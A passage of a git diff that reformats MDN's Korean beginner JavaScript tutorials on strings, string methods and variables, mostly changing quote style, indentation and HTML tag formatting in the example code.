 직전의 문제의 코드를 해결하기 위해, 우리는 따옴표를 이스케이프 문자로 만들어야 합니다. 이스케이프 문자란 어떤 한 문자를 코드가 아닌 문자열로 만들어주는 문자입니다. 자바스크립트에서는 역슬래시 ( \ )를 문자 바로 앞에 작성함으로써 코드가 아닌 문자열로 인식하게 합니다.
 
-```js
+```js-nolint example-good
 var bigmouth = 'I\'ve got no right to take my place...';
 console.log(bigmouth);
 ```
@@ -112,28 +112,28 @@ console.log(bigmouth);
 
 1. 'Concatenate'는 '결합' 을 의미하는 프로프래밍 단어입니다. 자바스크립트에서 문자열을 함께 결합하려면 숫자를 더할 때 사용하는 것과 동일한 더하기 (+) 연산자를 사용하지만 이 상황에서는 다른 작업을 수행합니다. 콘솔에 예를 들어 보겠습니다.
 
-    ```js
-    var one = 'Hello, ';
-    var two = 'how are you?';
-    var joined = one + two;
-    joined;
-    ```
+   ```js
+   var one = "Hello, ";
+   var two = "how are you?";
+   var joined = one + two;
+   joined;
+   ```
 
-    변수 `joined` 의 값은 "Hello, how are you?" 입니다.
+   변수 `joined` 의 값은 "Hello, how are you?" 입니다.
 
 2. 마지막 예에서는, 그저 두 개의 문자열을 결합했을 뿐이지만 각 문자열 사이에 +를 포함하기만 하면 원하는 만큼의 문자열을 결합할 수 있습니다. 다음을 시도해 보십시오.
 
-    ```js
-    var multiple = one + one + one + one + two;
-    multiple;
-    ```
+   ```js
+   var multiple = one + one + one + one + two;
+   multiple;
+   ```
 
 3. 또한 변수와 실제 문자열을 혼합하여 사용할 수도 있습니다. 다음을 시도해 보십시오.
 
-    ```js
-    var response = one + 'I am fine — ' + two;
-    response;
-    ```
+   ```js
+   var response = one + "I am fine — " + two;
+   response;
+   ```
 
 <div class="note"><p><strong>참고</strong>: 만약 코드에 따옴표나 쌍따옴표로 묶인 문자열을 입력하면 <strong>문자열 리터럴</strong> (string literal) 이라 불립니다.</p></div>
 
@@ -146,12 +146,12 @@ console.log(bigmouth);
 ```
 
 ```js
-var button = document.querySelector('button');
+var button = document.querySelector("button");
 
-button.onclick = function() {
-  var name = prompt('What is your name?');
-  alert('Hello ' + name + ', nice to see you!');
-}
+button.onclick = function () {
+  var name = prompt("What is your name?");
+  alert("Hello " + name + ", nice to see you!");
+};
 ```
 
 {{ EmbedLiveSample('Concatenation_in_context', '100%', 50, "", "", "hide-codepen-jsfiddle") }}
@@ -162,38 +162,38 @@ button.onclick = function() {
 
 1. 그러면 문자열과 숫자를 추가 (또는 연결) 하면 어떻게 될까요? 콘솔에서 사용해 보겠습니다.
 
-    ```js
-    'Front ' + 242;
-    ```
+   ```js
+   "Front " + 242;
+   ```
 
-    이 경우 오류가 발생할 것으로 예상할 수 있지만 잘 작동합니다. 숫자로 문자열을 나타내려는 것은 말이 안되지만 숫자를 문자열로 표현하는 것은 의미가 있습니다. 그래서 브라우저는 숫자를 문자열로 변환하고 두 문자열을 서로 연결시킵니다.
+   이 경우 오류가 발생할 것으로 예상할 수 있지만 잘 작동합니다. 숫자로 문자열을 나타내려는 것은 말이 안되지만 숫자를 문자열로 표현하는 것은 의미가 있습니다. 그래서 브라우저는 숫자를 문자열로 변환하고 두 문자열을 서로 연결시킵니다.
 
 2. 숫자 두 개로도 연결할 수 있습니다 — 따옴표로 감싸면 숫자를 강제로 문자열로 만들 수 있습니다. 아래 코드를 실행해보세요(아래 코드에서 변수가 숫자인지 문자열인지를 확인하기 위해 `typeof` 연산자를 사용합니다.):
 
-    ```js
-    var myDate = '19' + '67';
-    typeof myDate;
-    ```
+   ```js
+   var myDate = "19" + "67";
+   typeof myDate;
+   ```
 
 3. 만약 코드에 문자열로 바꾸고 싶은 숫자형 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않거나 숫자로 바꾸고 싶은 문자열 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않으면 아래와 같은 생성자를 사용할 수 있습니다:
 
-    - {{jsxref("Number")}} 객체는 가능하면 어떠한 입력값이건 숫자로 바꿉니다. 다음 코드를 실행해보세요:
+   - {{jsxref("Number")}} 객체는 가능하면 어떠한 입력값이건 숫자로 바꿉니다. 다음 코드를 실행해보세요:
 
-      ```js
-      var myString = '123';
-      var myNum = Number(myString);
-      typeof myNum;
-      ```
+     ```js
+     var myString = "123";
+     var myNum = Number(myString);
+     typeof myNum;
+     ```
 
-    - 반면, 모든 숫자는 [`toString()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Number/toString) 이라는 함수를 가지고 있습니다. 이 함수는 숫자를 동등한 문자열로 변환합니다. 다음 코드를 실행해보세요:
+   - 반면, 모든 숫자는 [`toString()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Number/toString) 이라는 함수를 가지고 있습니다. 이 함수는 숫자를 동등한 문자열로 변환합니다. 다음 코드를 실행해보세요:
 
-      ```js
-      var myNum = 123;
-      var myString = myNum.toString();
-      typeof myString;
-      ```
+     ```js
+     var myNum = 123;
+     var myString = myNum.toString();
+     typeof myString;
+     ```
 
-    이 생성자들은 어떤 상황에서는 정말 유용할 수 있습니다. 예를 들어, 만약 어떤 사용자가 숫자를 텍스트 필드 폼에 입력하면, 그 입력 값은 문자열일 것입니다. 하지만 만약 여러분이 이 숫자를 어떤 값에다 더하고 싶다면, 이 입력 값을 숫자로 변환해야 합니다. 이 경우 `Number()` 에 이 값을 넘겨줘서 이 문제를 해결할 수 있습니다.우리는 이미 [Number Guessing Game, in line 61](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L61) 에서 이를 사용한 적이 있습니다.
+   이 생성자들은 어떤 상황에서는 정말 유용할 수 있습니다. 예를 들어, 만약 어떤 사용자가 숫자를 텍스트 필드 폼에 입력하면, 그 입력 값은 문자열일 것입니다. 하지만 만약 여러분이 이 숫자를 어떤 값에다 더하고 싶다면, 이 입력 값을 숫자로 변환해야 합니다. 이 경우 `Number()` 에 이 값을 넘겨줘서 이 문제를 해결할 수 있습니다.우리는 이미 [Number Guessing Game, in line 61](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L61) 에서 이를 사용한 적이 있습니다.
 
 ## 마치며
 
diff --git a/files/ko/learn/javascript/first_steps/test_your_skills_colon__variables/index.md b/files/ko/learn/javascript/first_steps/test_your_skills_colon__variables/index.md
index 3fc11f9c07a331..462d29996b3b08 100644
--- a/files/ko/learn/javascript/first_steps/test_your_skills_colon__variables/index.md
+++ b/files/ko/learn/javascript/first_steps/test_your_skills_colon__variables/index.md
@@ -1,5 +1,5 @@
 ---
-title: '당신의 기량을 시험해 보세요: 변수(variables)'
+title: "당신의 기량을 시험해 보세요: 변수(variables)"
 slug: Learn/JavaScript/First_steps/Test_your_skills:_variables
 ---
 
@@ -62,7 +62,7 @@ slug: Learn/JavaScript/First_steps/Test_your_skills:_variables
 1. 당신의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/) 같은 온라인에서 공유 가능한 에디터에 올리세요. 당신은 직접 코드를 작성하거나, 위 섹션들에 링크된 시작점 파일을 사용할 수 있습니다.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및 또는 도움을 요청하는 글을 작성하세요. 당신의 글은 다음을 포함해야만 합니다.
 
-    - "변수 1 기량 테스트에 대한 평가 원함"과 같은 서술적인 제목.
-    - 당신이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명, 예를 들자면, 만약 당신이 막혀서 도움이 필요하거나, 평가를 원하거나.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 당신이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 실천입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 당신이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "변수 1 기량 테스트에 대한 평가 원함"과 같은 서술적인 제목.
+   - 당신이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명, 예를 들자면, 만약 당신이 막혀서 도움이 필요하거나, 평가를 원하거나.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 당신이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 실천입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 당신이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
diff --git a/files/ko/learn/javascript/first_steps/useful_string_methods/index.md b/files/ko/learn/javascript/first_steps/useful_string_methods/index.md
index 7231bcddb1ec6a..7cc0c3282eb024 100644
--- a/files/ko/learn/javascript/first_steps/useful_string_methods/index.md
+++ b/files/ko/learn/javascript/first_steps/useful_string_methods/index.md
@@ -31,7 +31,7 @@ slug: Learn/JavaScript/First_steps/Useful_string_methods
 이전에 말했지만, 다시 말하면 - JavaScript의 모든 것이 객체입니다. 문자열을 만들 때, 예를 들면
 
 ```js
-var string = 'This is my string';
+var string = "This is my string";
 ```
 
 변수가 문자열 객체 인스턴스되면, 결과적으로 수많은 속성과 메서드가 사용 가능하게 됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String">String</a> 객체 페이지로 이동하여 페이지 측면의 목록을 내려다 보면 이것을 볼 수 있습니다!
@@ -45,7 +45,7 @@ var string = 'This is my string';
 간단합니다 — 간단하게 {{jsxref("String.prototype.length", "length")}} 프로퍼티를 사용할 수 있습니다. 다음 코드를 입력해 보세요.
 
 ```js
-var browserType = 'mozilla';
+var browserType = "mozilla";
 browserType.length;
 ```
 
@@ -71,43 +71,43 @@ browserType[browserType.length - 1];
 
 1. 때때로 큰 문자열 안의 작은 문자열(우리는 이것을 하위 문자열이라고 이야기 한다.)을 찾고 싶을 것입니다. 이 작업은 {{jsxref("String.prototype.indexOf()", "indexOf()")}}를 사용하여 완료할 수 있습니다, which takes a single {{glossary("parameter")}} — 찾기 원하는 하위 문자열을 찾을 수 있습니다. 시도해 봅시다:
 
-    ```js
-    browserType.indexOf('zilla');
-    ```
+   ```js
+   browserType.indexOf("zilla");
+   ```
 
-    결과는 2입니다. 하위 문자열인 "zilla"는 "mozilla'의 2번 위치(0, 1, 2— 그러므로 3번째 문자열)에서 시작합니다. 이러한 코드는 문자열을 필터링하는 데 사용될 수 있습니다. 예를 들어 웹 주소 목록에서 "mozilla"가 포함된 주소만 인쇄하고 싶은 경우입니다.
+   결과는 2입니다. 하위 문자열인 "zilla"는 "mozilla'의 2번 위치(0, 1, 2— 그러므로 3번째 문자열)에서 시작합니다. 이러한 코드는 문자열을 필터링하는 데 사용될 수 있습니다. 예를 들어 웹 주소 목록에서 "mozilla"가 포함된 주소만 인쇄하고 싶은 경우입니다.
 
 2. 다른 방법으로도 할 수 있으며, 더욱 효율적일 수 있습니다. 다음 예제를 따라해 봅시다:
 
-    ```js
-    browserType.indexOf('vanilla');
-    ```
+   ```js
+   browserType.indexOf("vanilla");
+   ```
 
-    이렇게 하면 -1( 하위 문자열 (이 경우 'vanilla')이 기본 문자열에서 발견되지 않으면 반환한다.)의 결과를 얻을 수 있습니다.
+   이렇게 하면 -1( 하위 문자열 (이 경우 'vanilla')이 기본 문자열에서 발견되지 않으면 반환한다.)의 결과를 얻을 수 있습니다.
 
-    하위 문자열 'mozilla'가 포함되지 않은 문자열의 모든 인스턴스를 찾으려면 이 연산자를 사용하고 아래에 표시된 것처럼 부정 연산자를 사용해서 작업을 수행할 수 있습니다. 다음과 같이 할 수 있습니다:
+   하위 문자열 'mozilla'가 포함되지 않은 문자열의 모든 인스턴스를 찾으려면 이 연산자를 사용하고 아래에 표시된 것처럼 부정 연산자를 사용해서 작업을 수행할 수 있습니다. 다음과 같이 할 수 있습니다:
 
-    ```js
-    if (browserType.indexOf('mozilla') !== -1) {
-      // do stuff with the string
-    }
-    ```
+   ```js
+   if (browserType.indexOf("mozilla") !== -1) {
+     // do stuff with the string
+   }
+   ```
 
 3. 문자열 내에서 부분 문자열이 어디에서 시작되고 어떤 문자로 끝나는지 알고 싶으면 {{jsxref("String.prototype.slice()", "slice()")}}를 사용하여 문자열을 추출할 수 있습니다. 다음을 시도해 봅시다:
 
-    ```js
-    browserType.slice(0, 3);
-    ```
+   ```js
+   browserType.slice(0, 3);
+   ```
 
-    "moz"를 반환합니다 - 첫 번째 파라메터는 추출을 시작할 문자 위치이고 두 번째 파라메터는 추출할 문자의 갯수입니다. 따라서 슬라이스는 첫 번째 위치에서부터 세 번째 위치까지 포함됩니다.
+   "moz"를 반환합니다 - 첫 번째 파라메터는 추출을 시작할 문자 위치이고 두 번째 파라메터는 추출할 문자의 갯수입니다. 따라서 슬라이스는 첫 번째 위치에서부터 세 번째 위치까지 포함됩니다.
 
 4. 또한 특정 문자 뒤에 문자열의 나머지 문자를 모두 추출하려는 경우 두 번째 매개 변수를 포함하지 않고 문자열에서 나머지 문자를 추출할 위치의 문자 위치만 포함하면 됩니다. 다음을 시도해보십시오.
 
-    ```js
-    browserType.slice(2);
-    ```
+   ```js
+   browserType.slice(2);
+   ```
 
-    이렇게 하면 "zilla"가 반환됩니다. 문자의 2번째 위치는 "z"이고 두 번째 매개 변수를 포함하지 않았기 때문에 반환된 하위 문자열은 문자열의 나머지 문자 모두입니다.
+   이렇게 하면 "zilla"가 반환됩니다. 문자의 2번째 위치는 "z"이고 두 번째 매개 변수를 포함하지 않았기 때문에 반환된 하위 문자열은 문자열의 나머지 문자 모두입니다.
 
 > **참고:** `slice()` has other options too; study the {{jsxref("String.prototype.slice()", "slice()")}} page to see what else you can find out.
 
@@ -118,7 +118,7 @@ browserType[browserType.length - 1];
 다음 행을 입력하여 어떻게 되는지 살펴보겠습니다.
 
 ```js
-var radData = 'My NaMe Is MuD';
+var radData = "My NaMe Is MuD";
 radData.toLowerCase();
 radData.toUpperCase();
 ```
@@ -130,7 +130,7 @@ radData.toUpperCase();
 그것은 2개의 매개변수를 가집니다. — 바뀜을 당하는 문자와 바꾸려는 문자입니다. 다음 예제를 따라해보세요.:
 
 ```js
-browserType.replace('moz', 'van');
+browserType.replace("moz", "van");
 ```
 
 ## 예제
@@ -151,15 +151,13 @@ browserType.replace('moz', 'van');
 <h2>Live output</h2>
 
 <div class="output" style="min-height: 125px;">
-
-<ul>
-
-</ul>
-
+  <ul></ul>
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 290px; width: 95%">
 const list = document.querySelector('.output ul');
@@ -182,8 +180,8 @@ for (let greeting of greetings) {
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -210,9 +208,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -220,21 +218,21 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
@@ -259,16 +257,16 @@ for (let greeting of greetings) {
 
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -279,8 +277,11 @@ textarea.onkeydown = function(e){
 function insertAtCaret(text) {
   const scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
-  const front = (textarea.value).substring(0, caretPos);
-  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  const front = textarea.value.substring(0, caretPos);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
 
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
@@ -292,10 +293,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -322,15 +323,13 @@ textarea.onkeyup = function(){
 <h2>Live output</h2>
 
 <div class="output" style="min-height: 125px;">
-
-<ul>
-
-</ul>
-
+  <ul></ul>
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 250px; width: 95%">
 const list = document.querySelector('.output ul');
@@ -348,8 +347,8 @@ for (let city of cities) {
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -376,9 +375,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -386,21 +385,21 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
@@ -422,16 +421,16 @@ for (let city of cities) {
 
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -442,8 +441,11 @@ textarea.onkeydown = function(e){
 function insertAtCaret(text) {
   const scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
-  const front = (textarea.value).substring(0, caretPos);
-  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  const front = textarea.value.substring(0, caretPos);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
 
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
@@ -455,10 +457,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -496,15 +498,13 @@ We'd recommend doing it like this:
 <h2>Live output</h2>
 
 <div class="output" style="min-height: 125px;">
-
-<ul>
-
-</ul>
-
+  <ul></ul>
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 285px; width: 95%">
 const list = document.querySelector('.output ul');
@@ -526,8 +526,8 @@ for (let station of stations) {
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -554,9 +554,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -564,21 +564,21 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
@@ -604,16 +604,16 @@ for (let station of stations) {
 
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -624,8 +624,11 @@ textarea.onkeydown = function(e){
 function insertAtCaret(text) {
   const scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
-  const front = (textarea.value).substring(0, caretPos);
-  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  const front = textarea.value.substring(0, caretPos);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
 
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
@@ -637,10 +640,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
diff --git a/files/ko/learn/javascript/first_steps/variables/index.md b/files/ko/learn/javascript/first_steps/variables/index.md
index 346eac224e22ab..dd52956179e514 100644
--- a/files/ko/learn/javascript/first_steps/variables/index.md
+++ b/files/ko/learn/javascript/first_steps/variables/index.md
@@ -33,12 +33,12 @@ slug: Learn/JavaScript/First_steps/Variables
 ```
 
 ```js
-const button = document.querySelector('button');
+const button = document.querySelector("button");
 
-button.onclick = function() {
-  let name = prompt('What is your name?');
-  alert('Hello ' + name + ', nice to see you!');
-}
+button.onclick = function () {
+  let name = prompt("What is your name?");
+  alert("Hello " + name + ", nice to see you!");
+};
 ```
 
 {{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}
@@ -48,18 +48,18 @@ button.onclick = function() {
 왜 변수가 유용한 지 이해하려면, 변수를 사용하지 않고 이 예제를 작성하는 방법에 대해 생각해 봅시다. 그러면 아마 이런 식으로 끝날 것입니다.
 
 ```js example-bad
-let name = prompt('What is your name?');
-
-if (name === 'Adam') {
-  alert('Hello Adam, nice to see you!');
-} else if (name === 'Alan') {
-  alert('Hello Alan, nice to see you!');
-} else if (name === 'Bella') {
-  alert('Hello Bella, nice to see you!');
-} else if (name === 'Bianca') {
-  alert('Hello Bianca, nice to see you!');
-} else if (name === 'Chris') {
-  alert('Hello Chris, nice to see you!');
+let name = prompt("What is your name?");
+
+if (name === "Adam") {
+  alert("Hello Adam, nice to see you!");
+} else if (name === "Alan") {
+  alert("Hello Alan, nice to see you!");
+} else if (name === "Bella") {
+  alert("Hello Bella, nice to see you!");
+} else if (name === "Bianca") {
+  alert("Hello Bianca, nice to see you!");
+} else if (name === "Chris") {
+  alert("Hello Chris, nice to see you!");
 }
 
 // ... and so on ...
@@ -87,10 +87,10 @@ var myAge;
 여기서 우리는 myName과 myAge라는 두 개의 변수를 생성합니다. 웹 브라우저의 콘솔 또는 아래 콘솔에서 두행을 입력해 보십시오 (원하는 경우, [콘솔](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html)을 별도의 탭이나 창에서 열 수 있음). 그 후, 자신이 명명한 변수를 만들어 보십시오.
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>JavaScript console</title>
     <style>
       * {
@@ -98,7 +98,7 @@ var myAge;
       }
 
       html {
-        background-color: #0C323D;
+        background-color: #0c323d;
         color: #809089;
         font-family: monospace;
       }
@@ -132,61 +132,56 @@ var myAge;
         line-height: 1.5;
         font-family: monospace;
         padding: 0;
-        background: #0C323D;
+        background: #0c323d;
         color: #809089;
       }
 
       div {
         clear: both;
       }
-
     </style>
-
-</head>
-<body>
-
-</body>
-
-<script>
-var geval = eval;
-function createInput() {
-var inputDiv = document.createElement('div');
-var inputPara = document.createElement('p');
-var inputForm = document.createElement('input');
-
-      inputDiv.setAttribute('class','input');
-      inputPara.textContent = '>';
+  </head>
+  <body></body>
+
+  <script>
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement("div");
+      var inputPara = document.createElement("p");
+      var inputForm = document.createElement("input");
+
+      inputDiv.setAttribute("class", "input");
+      inputPara.textContent = ">";
       inputDiv.appendChild(inputPara);
       inputDiv.appendChild(inputForm);
       document.body.appendChild(inputDiv);
 
-      inputForm.addEventListener('change', executeCode);
+      inputForm.addEventListener("change", executeCode);
     }
 
     function executeCode(e) {
       try {
         var result = geval(e.target.value);
-      } catch(e) {
-        var result = 'error — ' + e.message;
+      } catch (e) {
+        var result = "error — " + e.message;
       }
 
-      var outputDiv = document.createElement('div');
-      var outputPara = document.createElement('p');
+      var outputDiv = document.createElement("div");
+      var outputPara = document.createElement("p");
 
-      outputDiv.setAttribute('class','output');
-      outputPara.textContent = 'Result: ' + result;
+      outputDiv.setAttribute("class", "output");
+      outputPara.textContent = "Result: " + result;
       outputDiv.appendChild(outputPara);
       document.body.appendChild(outputDiv);
 
       e.target.disabled = true;
-      e.target.parentNode.style.opacity = '0.5';
+      e.target.parentNode.style.opacity = "0.5";
 
-      createInput()
+      createInput();
     }
 
     createInput();
-
-</script>
+  </script>
 </html>
 ```
 
@@ -214,7 +209,7 @@ scoobyDoo;
 변수를 선언한 후에는 값으로 초기화 할 수 있습니다. 변수 이름 다음에 등호(`=`)와 그 뒤에 부여 할 값을 입력하여 이 작업을 수행 할 수 있습니다.
 
 ```js
-myName = 'Chris';
+myName = "Chris";
 myAge = 37;
 ```
 
@@ -228,7 +223,7 @@ myAge;
 다음과 같이 변수를 선언하고 동시에 초기화 할 수 있습니다.
 
 ```js
-var myName = 'Chris';
+var myName = "Chris";
 ```
 
 아마도 변수의 선언과 초기화를 두줄로 나누어 하는것 보다 더 빠르기 때문에 대부분 이러한 방식을 자주 사용 하게 될 겁니다.
@@ -236,14 +231,14 @@ var myName = 'Chris';
 > **참고:**
 >
 > 여러 줄 문자열로 JavaScript 프로그램을 작성할 때(write a multiline JavaScript), 변수를 선언하기 전에 해당 변수의 값을 초기화 할 수 있습니다. 이것이 가능한 이유는 JavaScript 에서 일반적으로 변수 선언문이 다른 코드 보다 먼저 실행되기 때문인데, 이 동작을 **호이스팅**이라고 합니다.
-> 자세한 내용은 [var 호이스팅](/ko/docs/Web/JavaScript/Reference/Statements/var#var_호이스팅(hoisting)) 문서를 참고하세요.
+> 자세한 내용은 [var 호이스팅](</ko/docs/Web/JavaScript/Reference/Statements/var#var_호이스팅(hoisting)>) 문서를 참고하세요.
 
 ## 변수의 재지정
 
 변수에 값이 할당되면 다른 값을 지정하여 해당 값을 업데이트 할 수 있습니다. 콘솔에 다음 행을 입력해 보세요.
 
 ```js
-myName = 'Bob';
+myName = "Bob";
 myAge = 40;
 ```
 
@@ -256,14 +251,14 @@ myAge = 40;
 - 변수 이름의 시작부분에 숫자를 사용하지 마세요. 허용되지 않으며 오류가 발생합니다.
